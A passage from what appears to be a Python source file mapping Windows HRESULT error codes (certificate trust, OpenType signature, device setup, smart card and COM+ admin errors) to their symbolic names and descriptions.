0x80095004: (\"XENROLL_E_RESPONSE_KA_HASH_MISMATCH\", \"There is a key archival hash mismatch between the request and the response.\"),\n        0x80095005: (\"XENROLL_E_KEYSPEC_SMIME_MISMATCH\", \"Signing certificate cannot include SMIME extension.\"),\n        0x80096001: (\"TRUST_E_SYSTEM_ERROR\", \"A system-level error occurred while verifying trust.\"),\n        0x80096002: (\"TRUST_E_NO_SIGNER_CERT\", \"The certificate for the signer of the message is invalid or not found.\"),\n        0x80096003: (\"TRUST_E_COUNTER_SIGNER\", \"One of the counter signatures was invalid.\"),\n        0x80096004: (\"TRUST_E_CERT_SIGNATURE\", \"The signature of the certificate cannot be verified.\"),\n        0x80096005: (\"TRUST_E_TIME_STAMP\", \"The time-stamp signature or certificate could not be verified or is malformed.\"),\n        0x80096010: (\"TRUST_E_BAD_DIGEST\", \"The digital signature of the object did not verify.\"),\n        0x80096019: (\"TRUST_E_BASIC_CONSTRAINTS\", \"A certificate's basic constraint extension has not been observed.\"),\n        0x8009601E: (\"TRUST_E_FINANCIAL_CRITERIA\", \"The certificate does not meet or contain the Authenticode financial extensions.\"),\n        0x80097001: (\"MSSIPOTF_E_OUTOFMEMRANGE\", \"Tried to reference a part of the file outside the proper range.\"),\n        0x80097002: (\"MSSIPOTF_E_CANTGETOBJECT\", \"Could not retrieve an object from the file.\"),\n        0x80097003: (\"MSSIPOTF_E_NOHEADTABLE\", \"Could not find the head table in the file.\"),\n        0x80097004: (\"MSSIPOTF_E_BAD_MAGICNUMBER\", \"The magic number in the head table is incorrect.\"),\n        0x80097005: (\"MSSIPOTF_E_BAD_OFFSET_TABLE\", \"The offset table has incorrect values.\"),\n        0x80097006: (\"MSSIPOTF_E_TABLE_TAGORDER\", \"Duplicate table tags or the tags are out of alphabetical order.\"),\n        0x80097007: (\"MSSIPOTF_E_TABLE_LONGWORD\", \"A table does not start on a long word boundary.\"),\n        0x80097008: (\"MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT\", \"First table does not appear after header information.\"),\n        0x80097009: (\"MSSIPOTF_E_TABLES_OVERLAP\", \"Two or more tables overlap.\"),\n        0x8009700A: (\"MSSIPOTF_E_TABLE_PADBYTES\", \"Too many pad bytes between tables, or pad bytes are not 0.\"),\n        0x8009700B: (\"MSSIPOTF_E_FILETOOSMALL\", \"File is too small to contain the last table.\"),\n        0x8009700C: (\"MSSIPOTF_E_TABLE_CHECKSUM\", \"A table checksum is incorrect.\"),\n        0x8009700D: (\"MSSIPOTF_E_FILE_CHECKSUM\", \"The file checksum is incorrect.\"),\n        0x80097010: (\"MSSIPOTF_E_FAILED_POLICY\", \"The signature does not have the correct attributes for the policy.\"),\n        0x80097011: (\"MSSIPOTF_E_FAILED_HINTS_CHECK\", \"The file did not pass the hints check.\"),\n        0x80097012: (\"MSSIPOTF_E_NOT_OPENTYPE\", \"The file is not an OpenType file.\"),\n        0x80097013: (\"MSSIPOTF_E_FILE\", \"Failed on a file operation (such as open, map, read, or write).\"),\n        0x80097014: (\"MSSIPOTF_E_CRYPT\", \"A call to a CryptoAPI function failed.\"),\n        0x80097015: (\"MSSIPOTF_E_BADVERSION\", \"There is a bad version number in the file.\"),\n        0x80097016: (\"MSSIPOTF_E_DSIG_STRUCTURE\", \"The structure of the DSIG table is incorrect.\"),\n        0x80097017: (\"MSSIPOTF_E_PCONST_CHECK\", \"A check failed in a partially constant table.\"),\n        0x80097018: (\"MSSIPOTF_E_STRUCTURE\", \"Some kind of structural error.\"),\n        0x80097019: (\"ERROR_CRED_REQUIRES_CONFIRMATION\", \"The requested credential requires confirmation.\"),\n        0x800B0001: (\"TRUST_E_PROVIDER_UNKNOWN\", \"Unknown trust provider.\"),\n        0x800B0002: (\"TRUST_E_ACTION_UNKNOWN\", \"The trust verification action specified is not supported by the specified trust provider.\"),\n        0x800B0003: (\"TRUST_E_SUBJECT_FORM_UNKNOWN\", \"The form specified for the subject is not one supported or known by the specified trust provider.\"),\n        0x800B0004: (\"TRUST_E_SUBJECT_NOT_TRUSTED\", \"The subject is not trusted for the specified action.\"),\n        0x800B0005: (\"DIGSIG_E_ENCODE\", \"Error due to problem in ASN.1 encoding process.\"),\n        0x800B0006: (\"DIGSIG_E_DECODE\", \"Error due to problem in ASN.1 decoding process.\"),\n        0x800B0007: (\"DIGSIG_E_EXTENSIBILITY\", \"Reading/writing extensions where attributes are appropriate, and vice versa.\"),\n        0x800B0008: (\"DIGSIG_E_CRYPTO\", \"Unspecified cryptographic failure.\"),\n        0x800B0009: (\"PERSIST_E_SIZEDEFINITE\", \"The size of the data could not be determined.\"),\n        0x800B000A: (\"PERSIST_E_SIZEINDEFINITE\", \"The size of the indefinite-sized data could not be determined.\"),\n        0x800B000B: (\"PERSIST_E_NOTSELFSIZING\", \"This object does not read and write self-sizing data.\"),\n        0x800B0100: (\"TRUST_E_NOSIGNATURE\", \"No signature was present in the subject.\"),\n        0x800B0101: (\"CERT_E_EXPIRED\", \"A required certificate is not within its validity period when verifying against the current system clock or the time stamp in the signed file.\"),\n        0x800B0102: (\"CERT_E_VALIDITYPERIODNESTING\", \"The validity periods of the certification chain do not nest correctly.\"),\n        0x800B0103: (\"CERT_E_ROLE\", \"A certificate that can only be used as an end entity is being used as a CA or vice versa.\"),\n        0x800B0104: (\"CERT_E_PATHLENCONST\", \"A path length constraint in the certification chain has been violated.\"),\n        0x800B0105: (\"CERT_E_CRITICAL\", \"A certificate contains an unknown extension that is marked \\\"critical\\\".\"),\n        0x800B0106: (\"CERT_E_PURPOSE\", \"A certificate is being used for a purpose other than the ones specified by its CA.\"),\n        0x800B0107: (\"CERT_E_ISSUERCHAINING\", \"A parent of a given certificate did not issue that child certificate.\"),\n        0x800B0108: (\"CERT_E_MALFORMED\", \"A certificate is missing or has an empty value for an important field, such as a subject or issuer name.\"),\n        0x800B0109: (\"CERT_E_UNTRUSTEDROOT\", \"A certificate chain processed, but terminated in a root certificate that is not trusted by the trust provider.\"),\n        0x800B010A: (\"CERT_E_CHAINING\", \"A certificate chain could not be built to a trusted root authority.\"),\n        0x800B010B: (\"TRUST_E_FAIL\", \"Generic trust failure.\"),\n        0x800B010C: (\"CERT_E_REVOKED\", \"A certificate was explicitly revoked by its issuer.\"),\n        0x800B010D: (\"CERT_E_UNTRUSTEDTESTROOT\", \"The certification path terminates with the test root that is not trusted with the current policy settings.\"),\n        0x800B010E: (\"CERT_E_REVOCATION_FAILURE\", \"The revocation process could not continue-the certificates could not be checked.\"),\n        0x800B010F: (\"CERT_E_CN_NO_MATCH\", \"The certificate's CN name does not match the passed value.\"),\n        0x800B0110: (\"CERT_E_WRONG_USAGE\", \"The certificate is not valid for the requested usage.\"),\n        0x800B0111: (\"TRUST_E_EXPLICIT_DISTRUST\", \"The certificate was explicitly marked as untrusted by the user.\"),\n        0x800B0112: (\"CERT_E_UNTRUSTEDCA\", \"A certification chain processed correctly, but one of the CA certificates is not trusted by the policy provider.\"),\n        0x800B0113: (\"CERT_E_INVALID_POLICY\", \"The certificate has invalid policy.\"),\n        0x800B0114: (\"CERT_E_INVALID_NAME\", \"The certificate has an invalid name. The name is not included in the permitted list or is explicitly excluded.\"),\n        0x800D0003: (\"NS_W_SERVER_BANDWIDTH_LIMIT\", \"The maximum filebitrate value specified is greater than the server's configured maximum bandwidth.\"),\n        0x800D0004: (\"NS_W_FILE_BANDWIDTH_LIMIT\", \"The maximum bandwidth value specified is less than the maximum filebitrate.\"),\n        0x800D0060: (\"NS_W_UNKNOWN_EVENT\", \"Unknown %1 event encountered.\"),\n        0x800D0199: (\"NS_I_CATATONIC_FAILURE\", \"Disk %1 ( %2 ) on Content Server %3, will be failed because it is catatonic.\"),\n        0x800D019A: (\"NS_I_CATATONIC_AUTO_UNFAIL\", \"Disk %1 ( %2 ) on Content Server %3, auto online from catatonic state.\"),\n        0x800F0000: (\"SPAPI_E_EXPECTED_SECTION_NAME\", \"A non-empty line was encountered in the INF before the start of a section.\"),\n        0x800F0001: (\"SPAPI_E_BAD_SECTION_NAME_LINE\", \"A section name marker in the information file (INF) is not complete or does not exist on a line by itself.\"),\n        0x800F0002: (\"SPAPI_E_SECTION_NAME_TOO_LONG\", \"An INF section was encountered whose name exceeds the maximum section name length.\"),\n        0x800F0003: (\"SPAPI_E_GENERAL_SYNTAX\", \"The syntax of the INF is invalid.\"),\n        0x800F0100: (\"SPAPI_E_WRONG_INF_STYLE\", \"The style of the INF is different than what was requested.\"),\n        0x800F0101: (\"SPAPI_E_SECTION_NOT_FOUND\", \"The required section was not found in the INF.\"),\n        0x800F0102: (\"SPAPI_E_LINE_NOT_FOUND\", \"The required line was not found in the INF.\"),\n        0x800F0103: (\"SPAPI_E_NO_BACKUP\", \"The files affected by the installation of this file queue have not been backed up for uninstall.\"),\n        0x800F0200: (\"SPAPI_E_NO_ASSOCIATED_CLASS\", \"The INF or the device information set or element does not have an associated install class.\"),\n        0x800F0201: (\"SPAPI_E_CLASS_MISMATCH\", \"The INF or the device information set or element does not match the specified install class.\"),\n        0x800F0202: (\"SPAPI_E_DUPLICATE_FOUND\", \"An existing device was found that is a duplicate of the device being manually installed.\"),\n        0x800F0203: (\"SPAPI_E_NO_DRIVER_SELECTED\", \"There is no driver selected for the device information set or element.\"),\n        0x800F0204: (\"SPAPI_E_KEY_DOES_NOT_EXIST\", \"The requested device registry key does not exist.\"),\n        0x800F0205: (\"SPAPI_E_INVALID_DEVINST_NAME\", \"The device instance name is invalid.\"),\n        0x800F0206: (\"SPAPI_E_INVALID_CLASS\", \"The install class is not present or is invalid.\"),\n        0x800F0207: (\"SPAPI_E_DEVINST_ALREADY_EXISTS\", \"The device instance cannot be created because it already exists.\"),\n        0x800F0208: (\"SPAPI_E_DEVINFO_NOT_REGISTERED\", \"The operation cannot be performed on a device information element that has not been registered.\"),\n        0x800F0209: (\"SPAPI_E_INVALID_REG_PROPERTY\", \"The device property code is invalid.\"),\n        0x800F020A: (\"SPAPI_E_NO_INF\", \"The INF from which a driver list is to be built does not exist.\"),\n        0x800F020B: (\"SPAPI_E_NO_SUCH_DEVINST\", \"The device instance does not exist in the hardware tree.\"),\n        0x800F020C: (\"SPAPI_E_CANT_LOAD_CLASS_ICON\", \"The icon representing this install class cannot be loaded.\"),\n        0x800F020D: (\"SPAPI_E_INVALID_CLASS_INSTALLER\", \"The class installer registry entry is invalid.\"),\n        0x800F020E: (\"SPAPI_E_DI_DO_DEFAULT\", \"The class installer has indicated that the default action should be performed for this installation request.\"),\n        0x800F020F: (\"SPAPI_E_DI_NOFILECOPY\", \"The operation does not require any files to be copied.\"),\n        0x800F0210: (\"SPAPI_E_INVALID_HWPROFILE\", \"The specified hardware profile does not exist.\"),\n        0x800F0211: (\"SPAPI_E_NO_DEVICE_SELECTED\", \"There is no device information element currently selected for this device information set.\"),\n        0x800F0212: (\"SPAPI_E_DEVINFO_LIST_LOCKED\", \"The operation cannot be performed because the device information set is locked.\"),\n        0x800F0213: (\"SPAPI_E_DEVINFO_DATA_LOCKED\", \"The operation cannot be performed because the device information element is locked.\"),\n        0x800F0214: (\"SPAPI_E_DI_BAD_PATH\", \"The specified path does not contain any applicable device INFs.\"),\n        0x800F0215: (\"SPAPI_E_NO_CLASSINSTALL_PARAMS\", \"No class installer parameters have been set for the device information set or element.\"),\n        0x800F0216: (\"SPAPI_E_FILEQUEUE_LOCKED\", \"The operation cannot be performed because the file queue is locked.\"),\n        0x800F0217: (\"SPAPI_E_BAD_SERVICE_INSTALLSECT\", \"A service installation section in this INF is invalid.\"),\n        0x800F0218: (\"SPAPI_E_NO_CLASS_DRIVER_LIST\", \"There is no class driver list for the device information element.\"),\n        0x800F0219: (\"SPAPI_E_NO_ASSOCIATED_SERVICE\", \"The installation failed because a function driver was not specified for this device instance.\"),\n        0x800F021A: (\"SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE\", \"There is presently no default device interface designated for this interface class.\"),\n        0x800F021B: (\"SPAPI_E_DEVICE_INTERFACE_ACTIVE\", \"The operation cannot be performed because the device interface is currently active.\"),\n        0x800F021C: (\"SPAPI_E_DEVICE_INTERFACE_REMOVED\", \"The operation cannot be performed because the device interface has been removed from the system.\"),\n        0x800F021D: (\"SPAPI_E_BAD_INTERFACE_INSTALLSECT\", \"An interface installation section in this INF is invalid.\"),\n        0x800F021E: (\"SPAPI_E_NO_SUCH_INTERFACE_CLASS\", \"This interface class does not exist in the system.\"),\n        0x800F021F: (\"SPAPI_E_INVALID_REFERENCE_STRING\", \"The reference string supplied for this interface device is invalid.\"),\n        0x800F0220: (\"SPAPI_E_INVALID_MACHINENAME\", \"The specified machine name does not conform to Universal Naming Convention (UNCs).\"),\n        0x800F0221: (\"SPAPI_E_REMOTE_COMM_FAILURE\", \"A general remote communication error occurred.\"),\n        0x800F0222: (\"SPAPI_E_MACHINE_UNAVAILABLE\", \"The machine selected for remote communication is not available at this time.\"),\n        0x800F0223: (\"SPAPI_E_NO_CONFIGMGR_SERVICES\", \"The Plug and Play service is not available on the remote machine.\"),\n        0x800F0224: (\"SPAPI_E_INVALID_PROPPAGE_PROVIDER\", \"The property page provider registry entry is invalid.\"),\n        0x800F0225: (\"SPAPI_E_NO_SUCH_DEVICE_INTERFACE\", \"The requested device interface is not present in the system.\"),\n        0x800F0226: (\"SPAPI_E_DI_POSTPROCESSING_REQUIRED\", \"The device's co-installer has additional work to perform after installation is complete.\"),\n        0x800F0227: (\"SPAPI_E_INVALID_COINSTALLER\", \"The device's co-installer is invalid.\"),\n        0x800F0228: (\"SPAPI_E_NO_COMPAT_DRIVERS\", \"There are no compatible drivers for this device.\"),\n        0x800F0229: (\"SPAPI_E_NO_DEVICE_ICON\", \"There is no icon that represents this device or device type.\"),\n        0x800F022A: (\"SPAPI_E_INVALID_INF_LOGCONFIG\", \"A logical configuration specified in this INF is invalid.\"),\n        0x800F022B: (\"SPAPI_E_DI_DONT_INSTALL\", \"The class installer has denied the request to install or upgrade this device.\"),\n        0x800F022C: (\"SPAPI_E_INVALID_FILTER_DRIVER\", \"One of the filter drivers installed for this device is invalid.\"),\n        0x800F022D: (\"SPAPI_E_NON_WINDOWS_NT_DRIVER\", \"The driver selected for this device does not support Windows XP.\"),\n        0x800F022E: (\"SPAPI_E_NON_WINDOWS_DRIVER\", \"The driver selected for this device does not support Windows.\"),\n        0x800F022F: (\"SPAPI_E_NO_CATALOG_FOR_OEM_INF\", \"The third-party INF does not contain digital signature information.\"),\n        0x800F0230: (\"SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE\", \"An invalid attempt was made to use a device installation file queue for verification of digital signatures relative to other platforms.\"),\n        0x800F0231: (\"SPAPI_E_NOT_DISABLEABLE\", \"The device cannot be disabled.\"),\n        0x800F0232: (\"SPAPI_E_CANT_REMOVE_DEVINST\", \"The device could not be dynamically removed.\"),\n        0x800F0233: (\"SPAPI_E_INVALID_TARGET\", \"Cannot copy to specified target.\"),\n        0x800F0234: (\"SPAPI_E_DRIVER_NONNATIVE\", \"Driver is not intended for this platform.\"),\n        0x800F0235: (\"SPAPI_E_IN_WOW64\", \"Operation not allowed in WOW64.\"),\n        0x800F0236: (\"SPAPI_E_SET_SYSTEM_RESTORE_POINT\", \"The operation involving unsigned file copying was rolled back, so that a system restore point could be set.\"),\n        0x800F0237: (\"SPAPI_E_INCORRECTLY_COPIED_INF\", \"An INF was copied into the Windows INF directory in an improper manner.\"),\n        0x800F0238: (\"SPAPI_E_SCE_DISABLED\", \"The Security Configuration Editor (SCE) APIs have been disabled on this embedded product.\"),\n        0x800F0239: (\"SPAPI_E_UNKNOWN_EXCEPTION\", \"An unknown exception was encountered.\"),\n        0x800F023A: (\"SPAPI_E_PNP_REGISTRY_ERROR\", \"A problem was encountered when accessing the Plug and Play registry database.\"),\n        0x800F023B: (\"SPAPI_E_REMOTE_REQUEST_UNSUPPORTED\", \"The requested operation is not supported for a remote machine.\"),\n        0x800F023C: (\"SPAPI_E_NOT_AN_INSTALLED_OEM_INF\", \"The specified file is not an installed original equipment manufacturer (OEM) INF.\"),\n        0x800F023D: (\"SPAPI_E_INF_IN_USE_BY_DEVICES\", \"One or more devices are presently installed using the specified INF.\"),\n        0x800F023E: (\"SPAPI_E_DI_FUNCTION_OBSOLETE\", \"The requested device install operation is obsolete.\"),\n        0x800F023F: (\"SPAPI_E_NO_AUTHENTICODE_CATALOG\", \"A file could not be verified because it does not have an associated catalog signed via Authenticode.\"),\n        0x800F0240: (\"SPAPI_E_AUTHENTICODE_DISALLOWED\", \"Authenticode signature verification is not supported for the specified INF.\"),\n        0x800F0241: (\"SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER\", \"The INF was signed with an Authenticode catalog from a trusted publisher.\"),\n        0x800F0242: (\"SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED\", \"The publisher of an Authenticode-signed catalog has not yet been established as trusted.\"),\n        0x800F0243: (\"SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED\", \"The publisher of an Authenticode-signed catalog was not established as trusted.\"),\n        0x800F0244: (\"SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH\", \"The software was tested for compliance with Windows logo requirements on a different version of Windows and may not be compatible with this version.\"),\n        0x800F0245: (\"SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE\", \"The file may be validated only by a catalog signed via Authenticode.\"),\n        0x800F0246: (\"SPAPI_E_DEVICE_INSTALLER_NOT_READY\", \"One of the installers for this device cannot perform the installation at this time.\"),\n        0x800F0247: (\"SPAPI_E_DRIVER_STORE_ADD_FAILED\", \"A problem was encountered while attempting to add the driver to the store.\"),\n        0x800F0248: (\"SPAPI_E_DEVICE_INSTALL_BLOCKED\", \"The installation of this device is forbidden by system policy. Contact your system administrator.\"),\n        0x800F0249: (\"SPAPI_E_DRIVER_INSTALL_BLOCKED\", \"The installation of this driver is forbidden by system policy. Contact your system administrator.\"),\n        0x800F024A: (\"SPAPI_E_WRONG_INF_TYPE\", \"The specified INF is the wrong type for this operation.\"),\n        0x800F024B: (\"SPAPI_E_FILE_HASH_NOT_IN_CATALOG\", \"The hash for the file is not present in the specified catalog file. The file is likely corrupt or the victim of tampering.\"),\n        0x800F024C: (\"SPAPI_E_DRIVER_STORE_DELETE_FAILED\", \"A problem was encountered while attempting to delete the driver from the store.\"),\n        0x800F0300: (\"SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW\", \"An unrecoverable stack overflow was encountered.\"),\n        0x800F1000: (\"SPAPI_E_ERROR_NOT_INSTALLED\", \"No installed components were detected.\"),\n        0x80100001: (\"SCARD_F_INTERNAL_ERROR\", \"An internal consistency check failed.\"),\n        0x80100002: (\"SCARD_E_CANCELLED\", \"The action was canceled by an SCardCancel request.\"),\n        0x80100003: (\"SCARD_E_INVALID_HANDLE\", \"The supplied handle was invalid.\"),\n        0x80100004: (\"SCARD_E_INVALID_PARAMETER\", \"One or more of the supplied parameters could not be properly interpreted.\"),\n        0x80100005: (\"SCARD_E_INVALID_TARGET\", \"Registry startup information is missing or invalid.\"),\n        0x80100006: (\"SCARD_E_NO_MEMORY\", \"Not enough memory available to complete this command.\"),\n        0x80100007: (\"SCARD_F_WAITED_TOO_LONG\", \"An internal consistency timer has expired.\"),\n        0x80100008: (\"SCARD_E_INSUFFICIENT_BUFFER\", \"The data buffer to receive returned data is too small for the returned data.\"),\n        0x80100009: (\"SCARD_E_UNKNOWN_READER\", \"The specified reader name is not recognized.\"),\n        0x8010000A: (\"SCARD_E_TIMEOUT\", \"The user-specified time-out value has expired.\"),\n        0x8010000B: (\"SCARD_E_SHARING_VIOLATION\", \"The smart card cannot be accessed because of other connections outstanding.\"),\n        0x8010000C: (\"SCARD_E_NO_SMARTCARD\", \"The operation requires a smart card, but no smart card is currently in the device.\"),\n        0x8010000D: (\"SCARD_E_UNKNOWN_CARD\", \"The specified smart card name is not recognized.\"),\n        0x8010000E: (\"SCARD_E_CANT_DISPOSE\", \"The system could not dispose of the media in the requested manner.\"),\n        0x8010000F: (\"SCARD_E_PROTO_MISMATCH\", \"The requested protocols are incompatible with the protocol currently in use with the smart card.\"),\n        0x80100010: (\"SCARD_E_NOT_READY\", \"The reader or smart card is not ready to accept commands.\"),\n        0x80100011: (\"SCARD_E_INVALID_VALUE\", \"One or more of the supplied parameters values could not be properly interpreted.\"),\n        0x80100012: (\"SCARD_E_SYSTEM_CANCELLED\", \"The action was canceled by the system, presumably to log off or shut down.\"),\n        0x80100013: (\"SCARD_F_COMM_ERROR\", \"An internal communications error has been detected.\"),\n        0x80100014: (\"SCARD_F_UNKNOWN_ERROR\", \"An internal error has been detected, but the source is unknown.\"),\n        0x80100015: (\"SCARD_E_INVALID_ATR\", \"An automatic terminal recognition (ATR) obtained from the registry is not a valid ATR string.\"),\n        0x80100016: (\"SCARD_E_NOT_TRANSACTED\", \"An attempt was made to end a nonexistent transaction.\"),\n        0x80100017: (\"SCARD_E_READER_UNAVAILABLE\", \"The specified reader is not currently available for use.\"),\n        0x80100018: (\"SCARD_P_SHUTDOWN\", \"The operation has been aborted to allow the server application to exit.\"),\n        0x80100019: (\"SCARD_E_PCI_TOO_SMALL\", \"The peripheral component interconnect (PCI) Receive buffer was too small.\"),\n        0x8010001A: (\"SCARD_E_READER_UNSUPPORTED\", \"The reader driver does not meet minimal requirements for support.\"),\n        0x8010001B: (\"SCARD_E_DUPLICATE_READER\", \"The reader driver did not produce a unique reader name.\"),\n        0x8010001C: (\"SCARD_E_CARD_UNSUPPORTED\", \"The smart card does not meet minimal requirements for support.\"),\n        0x8010001D: (\"SCARD_E_NO_SERVICE\", \"The smart card resource manager is not running.\"),\n        0x8010001E: (\"SCARD_E_SERVICE_STOPPED\", \"The smart card resource manager has shut down.\"),\n        0x8010001F: (\"SCARD_E_UNEXPECTED\", \"An unexpected card error has occurred.\"),\n        0x80100020: (\"SCARD_E_ICC_INSTALLATION\", \"No primary provider can be found for the smart card.\"),\n        0x80100021: (\"SCARD_E_ICC_CREATEORDER\", \"The requested order of object creation is not supported.\"),\n        0x80100022: (\"SCARD_E_UNSUPPORTED_FEATURE\", \"This smart card does not support the requested feature.\"),\n        0x80100023: (\"SCARD_E_DIR_NOT_FOUND\", \"The identified directory does not exist in the smart card.\"),\n        0x80100024: (\"SCARD_E_FILE_NOT_FOUND\", \"The identified file does not exist in the smart card.\"),\n        0x80100025: (\"SCARD_E_NO_DIR\", \"The supplied path does not represent a smart card directory.\"),\n        0x80100026: (\"SCARD_E_NO_FILE\", \"The supplied path does not represent a smart card file.\"),\n        0x80100027: (\"SCARD_E_NO_ACCESS\", \"Access is denied to this file.\"),\n        0x80100028: (\"SCARD_E_WRITE_TOO_MANY\", \"The smart card does not have enough memory to store the information.\"),\n        0x80100029: (\"SCARD_E_BAD_SEEK\", \"There was an error trying to set the smart card file object pointer.\"),\n        0x8010002A: (\"SCARD_E_INVALID_CHV\", \"The supplied PIN is incorrect.\"),\n        0x8010002B: (\"SCARD_E_UNKNOWN_RES_MNG\", \"An unrecognized error code was returned from a layered component.\"),\n        0x8010002C: (\"SCARD_E_NO_SUCH_CERTIFICATE\", \"The requested certificate does not exist.\"),\n        0x8010002D: (\"SCARD_E_CERTIFICATE_UNAVAILABLE\", \"The requested certificate could not be obtained.\"),\n        0x8010002E: (\"SCARD_E_NO_READERS_AVAILABLE\", \"Cannot find a smart card reader.\"),\n        0x8010002F: (\"SCARD_E_COMM_DATA_LOST\", \"A communications error with the smart card has been detected. Retry the operation.\"),\n        0x80100030: (\"SCARD_E_NO_KEY_CONTAINER\", \"The requested key container does not exist on the smart card.\"),\n        0x80100031: (\"SCARD_E_SERVER_TOO_BUSY\", \"The smart card resource manager is too busy to complete this operation.\"),\n        0x80100065: (\"SCARD_W_UNSUPPORTED_CARD\", \"The reader cannot communicate with the smart card, due to ATR configuration conflicts.\"),\n        0x80100066: (\"SCARD_W_UNRESPONSIVE_CARD\", \"The smart card is not responding to a reset.\"),\n        0x80100067: (\"SCARD_W_UNPOWERED_CARD\", \"Power has been removed from the smart card, so that further communication is not possible.\"),\n        0x80100068: (\"SCARD_W_RESET_CARD\", \"The smart card has been reset, so any shared state information is invalid.\"),\n        0x80100069: (\"SCARD_W_REMOVED_CARD\", \"The smart card has been removed, so that further communication is not possible.\"),\n        0x8010006A: (\"SCARD_W_SECURITY_VIOLATION\", \"Access was denied because of a security violation.\"),\n        0x8010006B: (\"SCARD_W_WRONG_CHV\", \"The card cannot be accessed because the wrong PIN was presented.\"),\n        0x8010006C: (\"SCARD_W_CHV_BLOCKED\", \"The card cannot be accessed because the maximum number of PIN entry attempts has been reached.\"),\n        0x8010006D: (\"SCARD_W_EOF\", \"The end of the smart card file has been reached.\"),\n        0x8010006E: (\"SCARD_W_CANCELLED_BY_USER\", \"The action was canceled by the user.\"),\n        0x8010006F: (\"SCARD_W_CARD_NOT_AUTHENTICATED\", \"No PIN was presented to the smart card.\"),\n        0x80110401: (\"COMADMIN_E_OBJECTERRORS\", \"Errors occurred accessing one or more objects-the ErrorInfo collection may have more detail.\"),\n        0x80110402: (\"COMADMIN_E_OBJECTINVALID\", \"One or more of the object's properties are missing or invalid.\"),\n        0x80110403: (\"COMADMIN_E_KEYMISSING\", \"The object was not found in the catalog.\"),\n        0x80110404: (\"COMADMIN_E_ALREADYINSTALLED\", \"The object is already registered.\"),\n        0x80110407: (\"COMADMIN_E_APP_FILE_WRITEFAIL\", \"An error occurred writing to the application file.\"),\n        0x80110408: (\"COMADMIN_E_APP_FILE_READFAIL\", \"An error occurred reading the application file.\"),\n        0x80110409: (\"COMADMIN_E_APP_FILE_VERSION\", \"Invalid version number in application file.\"),\n        0x8011040A: (\"COMADMIN_E_BADPATH\", \"The file path is invalid.\"),\n        0x8011040B: (\"COMADMIN_E_APPLICATIONEXISTS\", \"The application is already installed.\"),\n        0x8011040C: (\"COMADMIN_E_ROLEEXISTS\", \"The role already exists.\"),\n        0x8011040D: (\"COMADMIN_E_CANTCOPYFILE\", \"An error occurred copying the file.\"),\n        0x8011040F: (\"COMADMIN_E_NOUSER\", \"One or more users are not valid.\"),\n        0x80110410: (\"COMADMIN_E_INVALIDUSERIDS\", \"One or more users in the application file are not valid.\"),\n        0x80110411: (\"COMADMIN_E_NOREGISTRYCLSID\", \"The component's CLSID is missing or corrupt.\"),\n        0x80110412: (\"COMADMIN_E_BADREGISTRYPROGID\", \"The component's programmatic ID is missing or corrupt.\"),\n        0x80110413: (\"COMADMIN_E_AUTHENTICATIONLEVEL\", \"Unable to set required authentication level for update request.\"),\n        0x80110414: (\"COMADMIN_E_USERPASSWDNOTVALID\", \"The identity or password set on the application is not valid.\"),\n        0x80110418: (\"COMADMIN_E_CLSIDORIIDMISMATCH\", \"Application file CLSIDs or instance identifiers (IIDs) do not match corresponding DLLs.\"),\n        0x80110419: (\"COMADMIN_E_REMOTEINTERFACE\", \"Interface information is either missing or changed.\"),\n        0x8011041A: (\"COMADMIN_E_DLLREGISTERSERVER\", \"DllRegisterServer failed on component install.\"),\n        0x8011041B: (\"COMADMIN_E_NOSERVERSHARE\", \"No server file share available.\"),\n        0x8011041D: (\"COMADMIN_E_DLLLOADFAILED\", \"DLL could not be loaded.\"),\n        0x8011041E: (\"COMADMIN_E_BADREGISTRYLIBID\", \"The registered TypeLib ID is not valid.\"),\n        0x8011041F: (\"COMADMIN_E_APPDIRNOTFOUND\", \"Application install directory not found.\"),\n        0x80110423: (\"COMADMIN_E_REGISTRARFAILED\", \"Errors occurred while in the component registrar.\"),\n        0x80110424: (\"COMADMIN_E_COMPFILE_DOESNOTEXIST\", \"The file does not exist.\"),\n        0x80110425: (\"COMADMIN_E_COMPFILE_LOADDLLFAIL\", \"The DLL could not be loaded.\"),\n        0x80110426: (\"COMADMIN_E_COMPFILE_GETCLASSOBJ\", \"GetClassObject failed in the DLL.\"),\n        0x80110427: (\"COMADMIN_E_COMPFILE_CLASSNOTAVAIL\", \"The DLL does not support the components listed in the TypeLib.\"),\n        0x80110428: (\"COMADMIN_E_COMPFILE_BADTLB\", \"The TypeLib could not be loaded.\"),\n        0x80110429: (\"COMADMIN_E_COMPFILE_NOTINSTALLABLE\", \"The file does not contain components or component information.\"),\n        0x8011042A: (\"COMADMIN_E_NOTCHANGEABLE\", \"Changes to this object and its subobjects have been disabled.\"),\n        0x8011042B: (\"COMADMIN_E_NOTDELETEABLE\", \"The delete function has been disabled for this object.\"),\n        0x8011042C: (\"COMADMIN_E_SESSION\", \"The server catalog version is not supported.\"),\n        0x8011042D: (\"COMADMIN_E_COMP_MOVE_LOCKED\", \"The component move was disallowed because the source or destination application is either a system application or currently locked against changes.\"),\n        0x8011042E: (\"COMADMIN_E_COMP_MOVE_BAD_DEST\", \"The component move failed because the destination application no longer exists.\"),\n        0x80110430: (\"COMADMIN_E_REGISTERTLB\", \"The system was unable to register the TypeLib.\"),\n        0x80110433: (\"COMADMIN_E_SYSTEMAPP\", \"This operation cannot be performed on the system application.\"),\n        0x80110434: (\"COMADMIN_E_COMPFILE_NOREGISTRAR\", \"The component registrar referenced in this file is not available.\"),\n        0x80110435: (\"COMADMIN_E_COREQCOMPINSTALLED\", \"A component in the same DLL is already installed.\"),\n        0x80110436: (\"COMADMIN_E_SERVICENOTINSTALLED\", \"The service is not installed.\"),\n        0x80110437: (\"COMADMIN_E_PROPERTYSAVEFAILED\", \"One or more property settings are either invalid or in conflict with each other.\"),\n        0x80110438: (\"COMADMIN_E_OBJECTEXISTS\", \"The object you are attempting to add or rename already exists.\"),\n        0x80110439: (\"COMADMIN_E_COMPONENTEXISTS\", \"The component already exists.\"),\n        0x8011043B: (\"COMADMIN_E_REGFILE_CORRUPT\", \"The registration file is corrupt.\"),\n        0x8011043C: 